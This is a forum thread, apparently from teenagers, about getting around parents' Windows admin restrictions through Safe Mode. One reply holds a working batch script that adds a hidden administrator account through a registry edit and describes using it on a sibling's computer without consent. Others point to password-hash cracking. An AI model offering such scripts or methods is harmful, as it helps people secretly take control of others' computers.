Changing Computer Admin status.

[forbidd3n]

Forward: I do not recommend you do this. You WILL get in trouble. Yet, if you have very strict parents they will probly ground you. If you are willing to suffer the consequenses, folo this to computer FREEDOM!

 

 

 

Hi, like you, i have strict parents. They care about what i do online and on my computer. Yet, what they dont know is that i am very crafted in the art of "Geekness".

 

 

 

If you have an administrator Account stopping you from doing what you want on YOU'R COMPUTER this is all you have to do.

 

 

 

For windows: As soon as you restart you'r computer spam the F8 key, starting you up in "Safe" mode, i suggest that you DELETE the admin account, yet for a safer route..make your acc..THE admin account. AND THATS IT!

 

 

 

--If you are having problems, please private message me. I am always checking and rechecking my inbox.

 

 

 

--If any moderaters fell this is going "TO FAR" PLEASE PLEASE PLEASE! Tell me about this and delete this post.--

 

 

 

Thanks!, dont get caught cause im not liable!!

 

 

 

Shame =D :shame:

Gimme a break. Booting into safe mood is something my 8 year old cousin can do. Geekiness is setting up an Apache server to run a SSH https tunnel to your home network, then redirecting HTTP packets through the encrypted TCP stream, then programming a java window redirect to block screenshots so you can be sure of a secure connection over a wireless network.

 

 

 

Oh, by the way, you can't delete the main admin account, and almost anyone who installs windows will set a default password on it.

Sounds like a good thing to me. Here's a better filtering solution - a dedicated, cheap linux server that sits between the modem and the router filtering content, locked in a server rack, with a set secure password on the account.

Tbh this is pretty basic level stuff. Also, reasoning with your parents is always the better option (even if you bend the truth a little ).

lol

 

if your parents had had any knowledge they would have password protected the admin account.

 

this 'trick' may work for someone who has parents not smart enough to password protect the admin account, but for most it wont.

 

Your not the first to discover this anyway, almost everyone knows it.

 

 

 

a better way of getting an admin account is getting a minute access to the computer while an admins away (parent gone to toilet etc) and run a batch file like this:

 

set AC_NAME=

set AC_PASS=

net user %AC_NAME% %AC_PASS% /add

net localgroup Administrators %AC_NAME% /add

echo Windows Registry Editor Version 5.00>%TEMP%\addregistry.reg

echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]>>%TEMP%\addregistry.reg

echo "%AC_NAME%"=dword:00000000>>%TEMP%\addregistry.reg

Regedit /s %TEMP%\addregistry.reg

Del %TEMP%\addregistry.reg

 

which would simply create a hidden admin account. (if you use the windows welcome screen you have to press Ctrl+Alt+Del twice and enter name pass there).

 

off course this is very easy to find out as well, and next time your parent looks at the User Accounts in control panel you will be most likely grounded.

 

 

 

What i did to my computer illiterate brothers computer because he made me a limited user there (scared i was going to touch hes files or something lol) was use the above code while he was logged on, and made the username some technical computer jargon so he thought he couldn't delete it.

 

 

 

like you said, im not recommending anyone use the code, it is very easy to work out you have created your own admin account.

One itty-bitty problem: it requires admin access to run that. Might as well add a hidden account with the GUI.

 

 

 

That failing, it's extremely easy to use a boot CD to create your own admin account\change passwords, or get the hash and run it through something like John the Ripper. A few milseconds to a few days will crack virtually any short-medium length password.

This would only work if you had computertard parents who had no idea what a computer trojan was. Any computer efficnet parent who actually wanted to block their kids from admin status would have an admin password set for that safe-mode account.

 

 

 

I just use a linux boot CD (ubuntu ftw :thumbsup: ) and use that. My schools tech admins are fine with that as long as I don;t screw up the system. You should show your parents that you are responsible enough to have admin rights. If I were your parents, you wouldn't be able to click a pixel without me knowing.
